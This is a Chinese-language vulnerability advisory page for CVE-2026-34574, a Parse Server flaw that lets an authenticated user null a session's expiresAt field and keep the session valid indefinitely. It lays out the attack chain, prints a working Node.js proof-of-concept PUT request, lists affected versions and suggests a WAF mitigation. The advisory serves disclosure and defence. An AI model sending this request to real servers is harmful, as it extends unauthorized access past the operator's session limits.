IPBUF安全漏洞报告
English
CVE-2026-34574 CVSS 5.4 中危

CVE-2026-34574 Parse Server会话过期绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34574
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限绕过认证绕过Parse Server逻辑漏洞CVE-2026-34574

漏洞概述

Parse Server在特定版本前存在安全漏洞,经过身份验证的攻击者可以通过向会话更新端点发送包含null值的PUT请求,绕过会话字段不可变性的保护机制。这导致会话过期时间被置空,从而无限期延长会话有效期,绕过了系统配置的会话长度限制策略。

技术细节

该漏洞的根源在于Parse Server后端对会话对象属性更新的校验机制不完善。在正常的业务逻辑中,`expiresAt`字段用于定义会话的生命周期,`createdWith`字段记录会话来源,这两者应当被标记为不可变。然而,在受影响版本中,当客户端发送一个HTTP PUT请求尝试更新当前会话时,如果请求体中包含`{"expiresAt": null}`,服务端的校验中间件可能仅检查了字段是否存在或是否被显式修改为非空值,而忽略了对`null`值的过滤。这导致底层数据库操作直接将过期时间字段清空。由于数据库中不存在过期时间,Parse Server的会话清理线程将无法识别该会话已过期,从而允许攻击者持有该会话令牌永久访问系统资源。此攻击利用了业务逻辑中的边界条件,属于典型的逻辑漏洞。

攻击链分析

STEP 1
1. 获取凭证
攻击者通过合法登录或利用其他漏洞获取一个有效的用户会话令牌(Session Token)。
STEP 2
2. 构造恶意请求
攻击者构造一个PUT请求,目标指向Parse Server的会话更新API端点(/sessions/{id})。
STEP 3
3. 注入Payload
在请求体中将`expiresAt`字段显式设置为`null`,试图绕过不可变性检查逻辑。
STEP 4
4. 绕过限制
服务器接受请求并更新数据库,将会话过期时间字段清空,移除时间限制。
STEP 5
5. 维持权限
由于会话不再有过期时间,攻击者可以无限期使用该令牌保持登录状态,无需重新认证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-34574 // This script demonstrates how to bypass session immutability by setting expiresAt to null. const axios = require('axios'); async function exploit() { const sessionToken = 'YOUR_SESSION_TOKEN_HERE'; // Valid session token const sessionObjectId = 'YOUR_SESSION_OBJECT_ID'; // Target session ID const parseServerUrl = 'http://localhost:1337/parse'; try { // Sending a PUT request to update the session const response = await axios.put(`${parseServerUrl}/sessions/${sessionObjectId}`, { expiresAt: null // Setting expiry to null to bypass guard }, { headers: { 'X-Parse-Application-Id': 'YOUR_APP_ID', 'X-Parse-Session-Token': sessionToken, 'Content-Type': 'application/json' } }); console.log('Status:', response.status); console.log('Response:', response.data); console.log('Attack successful: Session expiry likely nullified.'); } catch (error) { console.error('Exploit failed:', error.response ? error.response.data : error.message); } } exploit();

影响范围

Parse Server < 8.6.69
Parse Server < 9.7.0-alpha.14

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员在应用网关或WAF层实施严格的规则,拦截所有向会话更新端点发送且包含`expiresAt`或`createdWith`字段的PUT请求,强制拒绝这些字段的修改操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表